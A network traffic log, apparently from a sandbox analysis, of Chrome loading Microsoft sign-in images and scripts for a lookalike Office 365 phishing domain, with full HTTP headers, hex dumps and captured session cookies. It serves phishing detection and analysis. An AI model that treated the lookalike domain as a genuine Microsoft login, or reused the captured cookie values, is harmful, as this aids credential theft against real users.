"window['__CF$cv$params']={r:'859ee7069efa0f7d',t:'MTcwODY4NTM2OS43NjMwMDA='};_cpo=document.createElement('script');_cpo.nonce='',_cpo.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js',document.getElementsByTagName(
2024-02-23 10:49:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49766	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	664	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:29 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: a28c0a86-f01e-0019-24ff-6526af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104929Z-43z1ar6d65303a35zzc6ru6zqn00000000d00000000026d6 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:29 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49767	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	665	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:29 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 86b36965-901e-0067-09eb-6576b2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104929Z-7nnxnxzydx6qd54501utgp08dn00000000w0000000003zb4 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:29 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	423	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:29 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:47 GMT ETag: 0x8DB5C3F48EC4154 x-ms-request-id: 40a0f2a2-f01e-005d-2da6-6559b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104929Z-892a5p77st5y70eyu8nx9e17p000000000cg0000000063my x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:29 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	417	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:29 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4904824B x-ms-request-id: c6f43646-601e-0070-4a16-66179e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104929Z-fbbkka5czp7x5ecngp383wuw0g00000000bg000000001v96 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:29 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:29 UTC	784	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: de0bb132-d01e-000b-5af6-63c089000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104929Z-zw0twx047h229fu3gxg1h7qgy000000004y0000000005gre x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:29 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:29 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 86b36965-901e-0067-09eb-6576b2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104929Z-vqfb4xbn790svab82bwezbn1zn00000000g0000000006bpa x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:29 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49773	172.67.204.183	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	1668	OUT	GET /cdn-cgi/challenge-platform/h/b/jsd/r/859ee6e41a670f91 HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AXMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd83j5fQMMihdvC7DvrWwIoxFJXIGa4oEHK8LTNShni_jNk9pIKWad0lM0oAl9nay0VVyKWnmLDdTL9JNvXx_IfY7idZeX1zoJQYaDPoxGvCdwgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8zVpp-eKD12_gHEdoyRFwUS95x1mAhgvLFnyf5LqkIsq7eIzkWCyUKGpAiW0qsu-lxPy_br03sqhHAYCxMwdjsau_9vEnKBnc0-gzFzaxM9OII0ONPhbe9kUrN9iTmgVC1RH5dMtunhzcb29ompUHn70qwY12SZ4zad2QuwI9Wh4gAA; esctx-OuDMRE5IfJk=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8b6n3A-rwLfY3fkujECCbSU4ED7nhJbQJTiUTcELQCjXQbpaOenvNdaR8sX69JjCe4aGz_y5GbgUYSc8FpTlIBxM_by-AqLwESFKXk88LKHBFqkN49E4Fgpng_5Ef20OE95c2T_tkzAieJZkV3WHIjSAA; fpc=AvPKuGNLYD9LgJAF1cIaerG8Ae7AAQAAADRvat0OAAAA; brcap=0; cf_clearance=_.19IPVg4nt4BsavICZS6KTOzVtldqaXWN_2sDG8mXs-1708685369-1.0-AfY4Ttwj9y1b0tjmOcLZFdhoAjisSSYv9oJnfDWhSTj96PVbx4QMN+9JveeaTHOBNru+aUDhvkCp7xvsi/Z0YaI=
2024-02-23 10:49:30 UTC	731	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 6NtCecQGgrQbUAskhDBY+Q==$WD5JjVmiYJGnIpxs8CZdiA== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5MkxOQxvOwyoP%2F2RwmofFl6udW2XaFFytYqGx0nCxXSiLz1tZZtS%2ByI7KOthz2Je%2BJsJUioCcAzd3LpF7srMZRFME1WBk8ndKwMHcPMaztMBIC1n7rJiLRz%2FBZyJKh5%2B16zpP0jRgqg9OTmmBPk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee70a591a7cf3-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:30 UTC	12	IN	Data Raw: 37 0d 0a 69 6e 76 61 6c 69 64 0d 0a Data Ascii: 7invalid
2024-02-23 10:49:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:30 UTC	665	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:30 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:30 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49ED96E0 x-ms-request-id: 6742ec95-801e-0042-6145-66608b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104930Z-q59nhquegt3kb64apa6k54wz7000000000cg000000002xak x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-02-23 10:49:30 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49775	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:30 UTC	626	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4152973e84228feee7fd.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:30 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:30 GMT Content-Type: application/x-javascript Content-Length: 35811 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sun, 21 Jan 2024 22:02:52 GMT ETag: 0x8DC1ACCB6F28D6E x-ms-request-id: 64301804-701e-0011-53ec-637ebe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104930Z-9ydhk7qz8h661be3dy72y65kmn00000000t0000000007hyv x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
